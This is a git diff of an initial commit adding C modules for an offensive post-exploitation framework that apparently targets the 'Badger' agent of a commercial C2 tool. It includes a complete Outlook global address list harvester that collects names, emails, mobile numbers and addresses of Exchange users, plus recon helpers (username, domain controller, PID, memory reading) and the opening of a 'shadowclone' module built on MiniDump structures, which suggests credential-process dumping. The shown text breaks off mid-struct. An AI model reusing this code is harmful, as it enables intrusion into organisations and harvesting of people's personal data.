initial commit
This commit is contained in:
i2p
@@ -0,0 +1,23 @@
|
||||
samples:
|
||||
x86_64-w64-mingw32-gcc decltest.c -c -o obj/decltest64.o -m64
|
||||
x86_64-w64-mingw32-gcc getdc.c -c -o obj/getdc64.o -m64
|
||||
i686-w64-mingw32-gcc decltest.c -c -o obj/decltest86.o -m32
|
||||
i686-w64-mingw32-gcc getdc.c -c -o obj/getdc86.o -m32
|
||||
x86_64-w64-mingw32-gcc stack_spoofing.c -c -o obj/stack_spoofing64.o -m64
|
||||
i686-w64-mingw32-gcc stack_spoofing.c -c -o obj/stack_spoofing86.o -m32
|
||||
|
||||
contact_harvester:
|
||||
x86_64-w64-mingw32-gcc harvester.c -c -o obj/harvester64.o -m64
|
||||
i686-w64-mingw32-gcc harvester.c -c -o obj/harvester86.o -m32
|
||||
|
||||
shadowclone:
|
||||
x86_64-w64-mingw32-gcc shadowclone.c -c -o obj/shadowclone64.o -m64
|
||||
i686-w64-mingw32-gcc shadowclone.c -c -o obj/shadowclone86.o -m32
|
||||
|
||||
vainject:
|
||||
x86_64-w64-mingw32-gcc vainject.c -c -o obj/vainject64.o -m64
|
||||
i686-w64-mingw32-gcc vainject.c -c -o obj/vainject86.o -m32
|
||||
|
||||
getpid:
|
||||
x86_64-w64-mingw32-gcc getpid.c -c -o obj/getpid64.o -m64
|
||||
x86_64-w64-mingw32-gcc getpid.c -c -o obj/getpid86.o -m32
|
||||
@@ -0,0 +1,18 @@
|
||||
#include <windows.h>
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch);
|
||||
DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...);
|
||||
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...);
|
||||
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf);
|
||||
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf);
|
||||
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ;
|
||||
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
|
||||
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
|
||||
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
|
||||
DECLSPEC_IMPORT int BadgerAtoi(char* string);
|
||||
DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length);
|
||||
DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr);
|
||||
DECLSPEC_IMPORT BOOL BadgerSetdebug();
|
||||
DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer);
|
||||
DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...);
|
||||
DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer);
|
||||
@@ -0,0 +1,12 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <dsgetdc.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
DECLSPEC_IMPORT DWORD WINAPI User32$MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
BadgerDispatch(dispatch, "%s\n", "Executing MessageBox");
|
||||
User32$MessageBoxA(NULL, "MsgBox Reflected", "Test", MB_OK);
|
||||
BadgerDispatch(dispatch, "%s\n", "MessageBox Executed");
|
||||
}
|
||||
@@ -0,0 +1,72 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
WINADVAPI WINBOOL WINAPI Advapi32$GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer);
|
||||
WINADVAPI WINBOOL WINAPI Advapi32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer);
|
||||
WINBASEAPI int Msvcrt$printf(const char *__format, ...);
|
||||
WINBASEAPI int Msvcrt$wprintf(const WCHAR *__format, ...);
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
CHAR username[MAX_PATH] = { 0 };
|
||||
DWORD usernameLength = MAX_PATH;
|
||||
Advapi32$GetUserNameA(username, &usernameLength);
|
||||
BadgerDispatch(dispatch, "[+] Char Username: %s\n", username);
|
||||
|
||||
int usernamelen = BadgerStrlen(username);
|
||||
BadgerDispatch(dispatch, "[+] Username length: %d\n", usernamelen);
|
||||
|
||||
if (argc > 0) {
|
||||
int retval = BadgerStrcmp(argv[0], username);
|
||||
if (retval) {
|
||||
BadgerDispatch(dispatch, "[+] Unequal values: %s\n", argv[0]);
|
||||
} else {
|
||||
BadgerDispatch(dispatch, "[+] Equal values: %s\n", argv[0]);
|
||||
}
|
||||
} else {
|
||||
BadgerDispatch(dispatch, "[+] No Args provided\n");
|
||||
}
|
||||
|
||||
|
||||
WCHAR usernameW[MAX_PATH] = { 0 };
|
||||
usernameLength = MAX_PATH;
|
||||
Advapi32$GetUserNameW(usernameW, &usernameLength);
|
||||
BadgerDispatchW(dispatch, L"[+] Wchar Username: %ls\n", usernameW);
|
||||
|
||||
int usernamelenW = BadgerWcslen(usernameW);
|
||||
BadgerDispatchW(dispatch, L"[+] UsernameW length: %d\n", usernamelenW);
|
||||
|
||||
WCHAR testW[] = L"somevalue\0";
|
||||
|
||||
int retval = BadgerWcscmp(testW, usernameW);
|
||||
if (retval) {
|
||||
BadgerDispatchW(dispatch, L"[+] Unequal widechar strings\n");
|
||||
} else {
|
||||
BadgerDispatchW(dispatch, L"[+] Equal widechar strings\n");
|
||||
}
|
||||
|
||||
char *intstr = "10";
|
||||
int converted = BadgerAtoi(intstr);
|
||||
BadgerDispatch(dispatch, "[+] Atoi: %d\n", converted);
|
||||
|
||||
BadgerMemset(testW, 0, sizeof(testW));
|
||||
if (BadgerWcslen(testW) == 0) {
|
||||
BadgerDispatch(dispatch, "[+] Memset complete\n");
|
||||
}
|
||||
|
||||
BadgerDispatch(dispatch, "[+] All Arguments:\n");
|
||||
for (int i = 0; i < argc; i++) {
|
||||
BadgerDispatch(dispatch, " - arg[%d]: %s\n", i, argv[i]);
|
||||
}
|
||||
|
||||
char* someBuffer = BadgerAlloc(20);
|
||||
if (someBuffer) {
|
||||
BadgerMemcpy(someBuffer, "[+] working\n", 12);
|
||||
BadgerDispatch(dispatch, "%s", someBuffer);
|
||||
}
|
||||
BadgerFree((PVOID*)&someBuffer);
|
||||
|
||||
if (BadgerSetdebug()) {
|
||||
BadgerDispatch(dispatch, "[+] SeDebug Set:\n");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,19 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <dsgetdc.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
|
||||
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
DWORD dwRet;
|
||||
PDOMAIN_CONTROLLER_INFO pdcInfo;
|
||||
|
||||
dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
|
||||
if (ERROR_SUCCESS == dwRet) {
|
||||
BadgerDispatch(dispatch, "%s\n", pdcInfo->DomainName);
|
||||
}
|
||||
|
||||
NETAPI32$NetApiBufferFree(pdcInfo);
|
||||
}
|
||||
@@ -0,0 +1,10 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
WINADVAPI DWORD WINAPI Kernel32$GetCurrentProcessId();
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
DWORD bgr_pid = Kernel32$GetCurrentProcessId();
|
||||
BadgerDispatch(dispatch, "[+] Process PID: %lu\n", bgr_pid);
|
||||
}
|
||||
@@ -0,0 +1,284 @@
|
||||
#include "badger_exports.h"
|
||||
|
||||
typedef struct _OutlookContactRecord {
|
||||
BSTR Name;
|
||||
BSTR PrimarySmtpAddress;
|
||||
BSTR JobTitle;
|
||||
BSTR Department;
|
||||
BSTR OfficeLocation;
|
||||
BSTR City;
|
||||
BSTR MobileTelephoneNumber;
|
||||
BSTR StreetAddress;
|
||||
BSTR PostalCode;
|
||||
BSTR StateOrProvince;
|
||||
} OutlookContactRecord, *POutlookContactRecord;
|
||||
|
||||
typedef enum _OlAddressEntryUserType {
|
||||
olExchangeUserAddressEntry = 0,
|
||||
olExchangeDistributionListAddressEntry = 1,
|
||||
olExchangePublicFolderAddressEntry = 2,
|
||||
olExchangeAgentAddressEntry = 3,
|
||||
olExchangeOrganizationAddressEntry = 4,
|
||||
olExchangeRemoteUserAddressEntry = 5,
|
||||
olOutlookContactAddressEntry = 10,
|
||||
olOutlookDistributionListAddressEntry = 11,
|
||||
olLdapAddressEntry = 20,
|
||||
olSmtpAddressEntry = 30,
|
||||
olOtherAddressEntry = 40
|
||||
} OlAddressEntryUserType;
|
||||
|
||||
WINADVAPI WINAPI HRESULT Ole32$CoInitializeEx(LPVOID, DWORD);
|
||||
WINADVAPI WINAPI VOID Ole32$CoUninitialize();
|
||||
WINADVAPI WINAPI HRESULT Ole32$CLSIDFromProgID(LPCOLESTR, LPCLSID);
|
||||
WINADVAPI WINAPI HRESULT Ole32$CoCreateInstance(REFCLSID, LPUNKNOWN ,DWORD ,REFIID, LPVOID*);
|
||||
WINADVAPI WINAPI BSTR Oleaut32$SysAllocString(const OLECHAR *psz);
|
||||
WINADVAPI WINAPI VOID* Msvcrt$calloc(size_t _NumOfElements, size_t _SizeOfElements);
|
||||
WINADVAPI WINAPI VOID Msvcrt$free(void *_Memory);
|
||||
WINADVAPI WINAPI size_t Msvcrt$wcslen(WCHAR*);
|
||||
|
||||
HRESULT STDMETHODCALLTYPE GetApplicationDispatchInterface(_Out_ IDispatch**);
|
||||
HRESULT STDMETHODCALLTYPE GetDispatchInterface(_In_ IDispatch*, _In_ LPOLESTR, _In_opt_ VARIANT*, _In_ DWORD, _Out_ IDispatch**, _Inout_opt_ DISPID*);
|
||||
HRESULT STDMETHODCALLTYPE GetDispatchInterfaceProperty(_In_ IDispatch*, _In_ LPOLESTR, _In_ DWORD, _Inout_opt_ DISPID*, _Out_ VARIANT*);
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
HRESULT hresult = Ole32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
|
||||
if (hresult) {
|
||||
goto cleanUp;
|
||||
}
|
||||
|
||||
OutlookContactRecord* ppContactRecords = NULL;
|
||||
|
||||
IDispatch* pIApplication = NULL;
|
||||
hresult = GetApplicationDispatchInterface(&pIApplication);
|
||||
if (hresult) {
|
||||
goto cleanUp;
|
||||
}
|
||||
|
||||
IDispatch* pINamespace = NULL;
|
||||
VARIANT Namespace = { 0 };
|
||||
Namespace.vt = VT_BSTR;
|
||||
Namespace.bstrVal = Oleaut32$SysAllocString(L"MAPI");
|
||||
hresult = GetDispatchInterface(pIApplication, L"GetNamespace", &Namespace, 0x01, &pINamespace, (DISPID*)NULL);
|
||||
if (hresult) {
|
||||
goto cleanUp;
|
||||
}
|
||||
|
||||
IDispatch* pIAddressList = NULL;
|
||||
hresult = GetDispatchInterface(pINamespace, L"GetGlobalAddressList", (VARIANT*)NULL, 0, &pIAddressList, (DISPID*)NULL);
|
||||
if (hresult) {
|
||||
goto cleanUp;
|
||||
}
|
||||
|
||||
IDispatch* pIAddressEntries = NULL;
|
||||
hresult = GetDispatchInterface(pIAddressList, L"AddressEntries", (VARIANT*)NULL, 0, &pIAddressEntries, (DISPID*)NULL);
|
||||
if (hresult) {
|
||||
goto cleanUp;
|
||||
}
|
||||
|
||||
VARIANT vRecords = { 0 };
|
||||
hresult = GetDispatchInterfaceProperty(pIAddressEntries, L"Count", VT_I4, NULL, &vRecords);
|
||||
if (hresult) {
|
||||
goto cleanUp;
|
||||
}
|
||||
|
||||
ppContactRecords = Msvcrt$calloc(vRecords.llVal, sizeof(OutlookContactRecord));
|
||||
DISPID ItemId = 0;
|
||||
DISPID AddressEntryUserTypeId = 0;
|
||||
DISPID GetExchangeUserId = 0;
|
||||
OutlookContactRecord* lpRecord = ppContactRecords;
|
||||
VARIANT ItemIndex = { 0 };
|
||||
ItemIndex.vt = VT_I4;
|
||||
LONG cx = 0;
|
||||
|
||||
BadgerDispatchW(dispatch, L"[*] Harvesting [%d] Contacts\n==================================================|\n", vRecords.llVal);
|
||||
|
||||
for (; cx < vRecords.llVal; cx++) {
|
||||
IDispatch* pAddressEntry = NULL;
|
||||
ItemIndex.llVal = cx + 1;
|
||||
|
||||
hresult = GetDispatchInterface(pIAddressEntries, L"Item", &ItemIndex, 0x01, &pAddressEntry, &ItemId);
|
||||
if (hresult) {
|
||||
goto cleanUp;
|
||||
}
|
||||
|
||||
VARIANT EntryType = { 0 };
|
||||
hresult = GetDispatchInterfaceProperty(pAddressEntry, L"AddressEntryUserType", VT_I4, &AddressEntryUserTypeId, &EntryType);
|
||||
if (hresult) {
|
||||
goto cleanUp;
|
||||
}
|
||||
|
||||
if ((OlAddressEntryUserType)EntryType.llVal != olExchangeUserAddressEntry) {
|
||||
continue;
|
||||
}
|
||||
|
||||
IDispatch* pExchangeUser = NULL;
|
||||
hresult = GetDispatchInterface(pAddressEntry, L"GetExchangeUser", NULL, 0, &pExchangeUser, &GetExchangeUserId);
|
||||
if (hresult) {
|
||||
goto cleanUp;
|
||||
}
|
||||
|
||||
|
||||
VARIANT Data = { 0 };
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"Name", VT_BSTR, NULL, &Data);
|
||||
lpRecord->Name = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
if (lpRecord->Name != NULL && Msvcrt$wcslen(lpRecord->Name) > 0) {
|
||||
BadgerDispatchW(dispatch, L"[+] %-16s: %s\n", L"name", lpRecord->Name);
|
||||
}
|
||||
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"PrimarySmtpAddress", VT_BSTR, NULL, &Data);
|
||||
lpRecord->PrimarySmtpAddress = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
if (lpRecord->PrimarySmtpAddress != NULL && Msvcrt$wcslen(lpRecord->PrimarySmtpAddress) > 0) {
|
||||
BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"email", lpRecord->PrimarySmtpAddress);
|
||||
}
|
||||
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"JobTitle", VT_BSTR, NULL, &Data);
|
||||
lpRecord->JobTitle = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
if (lpRecord->JobTitle != NULL && Msvcrt$wcslen(lpRecord->JobTitle) > 0) {
|
||||
BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"jobTitle", lpRecord->JobTitle);
|
||||
}
|
||||
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"Department", VT_BSTR, NULL, &Data);
|
||||
lpRecord->Department = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
if (lpRecord->Department != NULL && Msvcrt$wcslen(lpRecord->Department) > 0) {
|
||||
BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"department", lpRecord->Department);
|
||||
}
|
||||
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"OfficeLocation", VT_BSTR, NULL, &Data);
|
||||
lpRecord->OfficeLocation = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
if (lpRecord->OfficeLocation != NULL && Msvcrt$wcslen(lpRecord->OfficeLocation) > 0) {
|
||||
BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"officeLocation", lpRecord->OfficeLocation);
|
||||
}
|
||||
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"MobileTelephoneNumber", VT_BSTR, NULL, &Data);
|
||||
lpRecord->MobileTelephoneNumber = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
if (lpRecord->MobileTelephoneNumber != NULL && Msvcrt$wcslen(lpRecord->MobileTelephoneNumber) > 0) {
|
||||
BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"mobile", lpRecord->MobileTelephoneNumber);
|
||||
}
|
||||
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"City", VT_BSTR, NULL, &Data);
|
||||
lpRecord->City = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"StreetAddress", VT_BSTR, NULL, &Data);
|
||||
lpRecord->StreetAddress = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"StateOrProvince", VT_BSTR, NULL, &Data);
|
||||
lpRecord->StateOrProvince = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
|
||||
GetDispatchInterfaceProperty(pExchangeUser, L"PostalCode", VT_BSTR, NULL, &Data);
|
||||
lpRecord->PostalCode = Oleaut32$SysAllocString(Data.bstrVal);
|
||||
if (lpRecord->City != NULL && Msvcrt$wcslen(lpRecord->City) > 0) {
|
||||
BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"city", lpRecord->City);
|
||||
}
|
||||
if (lpRecord->StreetAddress != NULL && Msvcrt$wcslen(lpRecord->StreetAddress) > 0) {
|
||||
BadgerDispatchW(dispatch, L" - %-16s: %s %s %s\n", L"address", lpRecord->StreetAddress, lpRecord->StateOrProvince, lpRecord->PostalCode);
|
||||
}
|
||||
|
||||
BadgerDispatchW(dispatch, L"\n");
|
||||
lpRecord++;
|
||||
}
|
||||
|
||||
Msvcrt$free(ppContactRecords);
|
||||
|
||||
cleanUp:
|
||||
if (hresult) {
|
||||
BadgerDispatchW(dispatch, L"E: %lx\n", hresult);
|
||||
}
|
||||
|
||||
Ole32$CoUninitialize();
|
||||
}
|
||||
|
||||
HRESULT STDMETHODCALLTYPE GetApplicationDispatchInterface(_Out_ IDispatch** ppIDispatch) {
|
||||
GUID myIID_IDispatch = { 0x00020400, 0x0000, 0x0000, {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46} };
|
||||
if (ppIDispatch == NULL) {
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
|
||||
CLSID CLSIDOutlookApplication = { 0 };
|
||||
if (FAILED(Ole32$CLSIDFromProgID(L"Outlook.Application", &CLSIDOutlookApplication))) {
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
if(FAILED(Ole32$CoCreateInstance(&CLSIDOutlookApplication, NULL, CLSCTX_LOCAL_SERVER, &myIID_IDispatch, (LPVOID*)ppIDispatch))) {
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
if (*ppIDispatch == NULL) {
|
||||
return E_FAIL;
|
||||
}
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT STDMETHODCALLTYPE GetDispatchInterface(_In_ IDispatch* pInterface, _In_ LPOLESTR szMethodName, _In_opt_ VARIANT* pVariables, _In_ DWORD dwVaraibles, _Out_ IDispatch** ppIDispatch, _Inout_opt_ DISPID* pDispatchId) {
|
||||
GUID myGUID_NULL = { 0x00000000, 0x0000, 0x0000, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} };
|
||||
if (pInterface == NULL || szMethodName == NULL || ppIDispatch == NULL) {
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
|
||||
DISPID DispatchId = 0;
|
||||
if (pDispatchId != NULL && *pDispatchId != 0) {
|
||||
DispatchId = *pDispatchId;
|
||||
}
|
||||
else {
|
||||
if(FAILED(pInterface->lpVtbl->GetIDsOfNames(pInterface, &myGUID_NULL, &szMethodName, 0x01, LOCALE_SYSTEM_DEFAULT, &DispatchId))) {
|
||||
return E_FAIL;
|
||||
}
|
||||
if (pDispatchId != NULL) {
|
||||
*pDispatchId = DispatchId;
|
||||
}
|
||||
}
|
||||
|
||||
EXCEPINFO Exception = { 0 };
|
||||
VARIANT Result = { 0 };
|
||||
DISPPARAMS Parameters = { 0 };
|
||||
|
||||
if (dwVaraibles != 0) {
|
||||
Parameters.cArgs = dwVaraibles;
|
||||
Parameters.rgvarg = pVariables;
|
||||
}
|
||||
|
||||
if(FAILED(pInterface->lpVtbl->Invoke(pInterface, DispatchId, &myGUID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &Parameters, &Result, &Exception, NULL))) {
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
if (Result.vt != VT_DISPATCH) {
|
||||
return E_FAIL;
|
||||
}
|
||||
*ppIDispatch = Result.pdispVal;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT STDMETHODCALLTYPE GetDispatchInterfaceProperty(_In_ IDispatch* pInterface, _In_ LPOLESTR szProperty, _In_ DWORD dwPropertyType, _Inout_opt_ DISPID* pDispatchId, _Out_ VARIANT* pProperty) {
|
||||
GUID myGUID_NULL = { 0x00000000, 0x0000, 0x0000, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} };
|
||||
if (pInterface == NULL || szProperty == NULL || pProperty == NULL) {
|
||||
return E_INVALIDARG;
|
||||
}
|
||||
|
||||
DISPID DispatchId = 0;
|
||||
if (pDispatchId != NULL && *pDispatchId != 0) {
|
||||
DispatchId = *pDispatchId;
|
||||
} else {
|
||||
if(FAILED(pInterface->lpVtbl->GetIDsOfNames(pInterface, &myGUID_NULL, &szProperty, 0x01, LOCALE_SYSTEM_DEFAULT, &DispatchId))) {
|
||||
return E_FAIL;
|
||||
}
|
||||
if (pDispatchId != NULL) {
|
||||
*pDispatchId = DispatchId;
|
||||
}
|
||||
}
|
||||
|
||||
EXCEPINFO Exception = { 0 };
|
||||
VARIANT Result = { 0 };
|
||||
DISPPARAMS Parameters = { 0 };
|
||||
Parameters.cArgs = 0;
|
||||
|
||||
if(FAILED(pInterface->lpVtbl->Invoke(pInterface, DispatchId, &myGUID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_PROPERTYGET, &Parameters, &Result, &Exception, NULL))) {
|
||||
return E_FAIL;
|
||||
}
|
||||
|
||||
if (Result.vt != dwPropertyType) {
|
||||
return E_FAIL;
|
||||
}
|
||||
*pProperty = Result;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
// WINADVAPI WINBOOL WINAPI Advapi32$GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer);
|
||||
// below definition should start with 'Advapi32$'. This is a bug. Ideally this should crash the badger
|
||||
// since 2.1 release, invalid functions which cannot be found in the BOF will be printed to screen
|
||||
WINADVAPI WINBOOL WINAPI GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer);
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
CHAR username[MAX_PATH] = { 0 };
|
||||
DWORD usernameLength = MAX_PATH;
|
||||
GetUserNameA(username, &usernameLength);
|
||||
BadgerDispatch(dispatch, "[+] Char Username: %s\n", username);
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
WINADVAPI FARPROC WINAPI Kernel32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
|
||||
WINADVAPI HMODULE WINAPI Kernel32$GetModuleHandleA(LPCSTR lpModuleName);
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
if (argc > 1) {
|
||||
BadgerDispatch(dispatch, "[*] Loading library '%s'\n", argv[0]);
|
||||
HANDLE hModule = Kernel32$GetModuleHandleA(argv[0]);
|
||||
BadgerDispatch(dispatch, "[*] Library loaded at '%p'\n", hModule);
|
||||
for (int i = 1; i < argc; i++) {
|
||||
unsigned char buf[11] = { 0 };
|
||||
PVOID myProc = (PVOID) Kernel32$GetProcAddress(hModule, argv[i]);
|
||||
BadgerDispatch(dispatch, "[+] Reading first 10 bytes from '%s (%p)'\n - Bytes: { ", argv[i], myProc);
|
||||
BadgerMemcpy(buf, (PVOID) myProc, 10);
|
||||
for (int j = 0; j < 10; j++) {
|
||||
BadgerDispatch(dispatch, "0x%02X ", buf[j]);
|
||||
}
|
||||
BadgerDispatch(dispatch, "}\n");
|
||||
}
|
||||
return;
|
||||
}
|
||||
BadgerDispatch(dispatch, "[!] No arguments provided. Usage: 'read_mem.o <dllname> <function1> <function2> ...'\n");
|
||||
}
|
||||
@@ -0,0 +1,290 @@
|
||||
#include "badger_exports.h"
|
||||
#pragma pack(push,4)
|
||||
#ifndef HPSS
|
||||
#define HPSS HANDLE
|
||||
#endif
|
||||
#define MiniDumpWithFullMemory 0x00000002
|
||||
|
||||
typedef struct _MINIDUMP_MEMORY_INFO {
|
||||
ULONG64 BaseAddress;
|
||||
ULONG64 AllocationBase;
|
||||
ULONG32 AllocationProtect;
|
||||
ULONG32 __alignment1;
|
||||
ULONG64 RegionSize;
|
||||
ULONG32 State;
|
||||
ULONG32 Protect;
|
||||
ULONG32 Type;
|
||||
ULONG32 __alignment2;
|
||||
} MINIDUMP_MEMORY_INFO, *PMINIDUMP_MEMORY_INFO;
|
||||
|
||||
typedef struct _MINIDUMP_THREAD_CALLBACK {
|
||||
ULONG ThreadId;
|
||||
HANDLE ThreadHandle;
|
||||
CONTEXT Context;
|
||||
ULONG SizeOfContext;
|
||||
ULONG64 StackBase;
|
||||
ULONG64 StackEnd;
|
||||
} MINIDUMP_THREAD_CALLBACK, *PMINIDUMP_THREAD_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_THREAD_EX_CALLBACK {
|
||||
ULONG ThreadId;
|
||||
HANDLE ThreadHandle;
|
||||
CONTEXT Context;
|
||||
ULONG SizeOfContext;
|
||||
ULONG64 StackBase;
|
||||
ULONG64 StackEnd;
|
||||
ULONG64 BackingStoreBase;
|
||||
ULONG64 BackingStoreEnd;
|
||||
} MINIDUMP_THREAD_EX_CALLBACK, *PMINIDUMP_THREAD_EX_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_INCLUDE_THREAD_CALLBACK {
|
||||
ULONG ThreadId;
|
||||
} MINIDUMP_INCLUDE_THREAD_CALLBACK, *PMINIDUMP_INCLUDE_THREAD_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_MODULE_CALLBACK {
|
||||
PWCHAR FullPath;
|
||||
ULONG64 BaseOfImage;
|
||||
ULONG SizeOfImage;
|
||||
ULONG CheckSum;
|
||||
ULONG TimeDateStamp;
|
||||
VS_FIXEDFILEINFO VersionInfo;
|
||||
PVOID CvRecord;
|
||||
ULONG SizeOfCvRecord;
|
||||
PVOID MiscRecord;
|
||||
ULONG SizeOfMiscRecord;
|
||||
} MINIDUMP_MODULE_CALLBACK, *PMINIDUMP_MODULE_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_INCLUDE_MODULE_CALLBACK {
|
||||
ULONG64 BaseOfImage;
|
||||
} MINIDUMP_INCLUDE_MODULE_CALLBACK, *PMINIDUMP_INCLUDE_MODULE_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_IO_CALLBACK {
|
||||
HANDLE Handle;
|
||||
ULONG64 Offset;
|
||||
PVOID Buffer;
|
||||
ULONG BufferBytes;
|
||||
} MINIDUMP_IO_CALLBACK, *PMINIDUMP_IO_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_READ_MEMORY_FAILURE_CALLBACK {
|
||||
ULONG64 Offset;
|
||||
ULONG Bytes;
|
||||
HRESULT FailureStatus;
|
||||
} MINIDUMP_READ_MEMORY_FAILURE_CALLBACK, *PMINIDUMP_READ_MEMORY_FAILURE_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_VM_QUERY_CALLBACK {
|
||||
ULONG64 Offset;
|
||||
} MINIDUMP_VM_QUERY_CALLBACK, *PMINIDUMP_VM_QUERY_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_VM_PRE_READ_CALLBACK {
|
||||
ULONG64 Offset;
|
||||
PVOID Buffer;
|
||||
ULONG Size;
|
||||
} MINIDUMP_VM_PRE_READ_CALLBACK, *PMINIDUMP_VM_PRE_READ_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_VM_POST_READ_CALLBACK {
|
||||
ULONG64 Offset;
|
||||
PVOID Buffer;
|
||||
ULONG Size;
|
||||
ULONG Completed;
|
||||
HRESULT Status;
|
||||
} MINIDUMP_VM_POST_READ_CALLBACK, *PMINIDUMP_VM_POST_READ_CALLBACK;
|
||||
|
||||
typedef struct _MINIDUMP_CALLBACK_INPUT {
|
||||
ULONG ProcessId;
|
||||
HANDLE ProcessHandle;
|
||||
ULONG CallbackType;
|
||||
union {
|
||||
HRESULT Status;
|
||||
MINIDUMP_THREAD_CALLBACK Thread;
|
||||
MINIDUMP_THREAD_EX_CALLBACK ThreadEx;
|
||||
MINIDUMP_MODULE_CALLBACK Module;
|
||||
MINIDUMP_INCLUDE_THREAD_CALLBACK IncludeThread;
|
||||
MINIDUMP_INCLUDE_MODULE_CALLBACK IncludeModule;
|
||||
MINIDUMP_IO_CALLBACK Io;
|
||||
MINIDUMP_READ_MEMORY_FAILURE_CALLBACK ReadMemoryFailure;
|
||||
ULONG SecondaryFlags;
|
||||
MINIDUMP_VM_QUERY_CALLBACK VmQuery;
|
||||
MINIDUMP_VM_PRE_READ_CALLBACK VmPreRead;
|
||||
MINIDUMP_VM_POST_READ_CALLBACK VmPostRead;
|
||||
};
|
||||
